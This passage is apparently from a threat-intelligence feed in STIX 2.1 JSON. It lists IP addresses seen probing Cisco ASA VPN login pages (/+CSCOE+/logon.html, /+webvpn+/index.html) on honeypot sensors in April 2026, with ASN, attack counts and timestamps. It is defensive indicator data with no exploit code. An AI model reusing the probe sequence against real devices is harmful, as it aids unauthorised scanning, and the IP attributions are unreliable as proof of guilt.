      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--78e0f4a8-2683-4bfc-8606-2a2219ea1ee7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T23:13:47.913Z",
          "last_seen": "2026-04-29T01:18:51.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--66f992ef-545c-43fc-9c69-348ac0d0e432",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T23:10:00.812Z",
          "last_seen": "2026-04-25T02:23:15.620Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3e55f0bb-467c-4e22-90c2-09e8027af368",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T23:15:48.091Z",
          "last_seen": "2026-04-29T16:58:28.496Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--99ef3dbe-0c06-49d9-88b0-0d08aaed49b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T22:59:58.808Z",
          "last_seen": "2026-04-28T02:21:18.104Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2f457bd2-fead-4016-aa35-3438f7f1a21c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T22:12:20.986Z",
          "last_seen": "2026-04-30T00:35:10.692Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d23e4851-0629-48bf-82fb-cb83044b7dcc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T23:11:22.964Z",
          "last_seen": "2026-04-16T06:44:43.821Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cc5b0f80-bcfe-4e49-b952-eb68c74f25a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-08T22:55:29.646Z",
          "last_seen": "2026-04-29T16:01:30.649Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--78ab8f64-efba-425c-8391-8eb4bfa100b3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T22:53:17.103Z",
          "last_seen": "2026-04-27T16:03:15.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8131334f-ab64-477e-bafd-b45ed0d13e0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-09T00:02:57.725Z",
          "last_seen": "2026-04-13T15:01:31.496Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--7b823826-77ae-46f0-9d1d-c45f3cd49d9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T23:29:20.702Z",
          "last_seen": "2026-04-27T09:54:27.421Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--6adc1817-28b6-4ec8-a9f6-0cea29b4a5ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T21:48:14.214Z",
          "last_seen": "2026-04-08T23:41:57.986Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d8018e02-920d-4e97-a9b9-4164f81309f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T23:26:03.910Z",
          "last_seen": "2026-04-27T22:20:42.521Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--47652905-1b39-4561-9353-a769baf27ca3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-09T00:05:04.139Z",
          "last_seen": "2026-04-29T06:49:22.326Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2022a75b-fca8-42b8-a0a7-1d23edfc52e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T23:50:24.325Z",
          "last_seen": "2026-04-13T16:17:06.536Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fa1de875-403a-4be0-ae46-2709e19cd5e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T23:47:32.122Z",
          "last_seen": "2026-04-29T09:22:51.900Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e2d97235-5e4e-4414-aae2-3779acca53af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T23:47:38.993Z",
          "last_seen": "2026-04-29T09:06:49.595Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c52be9f3-a933-44f8-89a6-769b15f49920",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T23:47:17.110Z",
          "last_seen": "2026-04-21T20:57:51.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6449dcf0-0c89-462b-ac97-ae27d51105e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T23:56:57.922Z",
          "last_seen": "2026-04-30T04:57:03.573Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5ce07a06-5346-4961-81aa-f165727aed28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-09T00:08:41.436Z",
          "last_seen": "2026-04-27T17:35:54.412Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--4472a798-174c-4dd7-a97a-138d7fb4e2cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:20:10.000Z",
      "valid_until": "2026-05-11T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 42,
          "first_seen": "2026-04-08T20:07:13.729Z",
          "last_seen": "2026-04-30T04:52:39.793Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
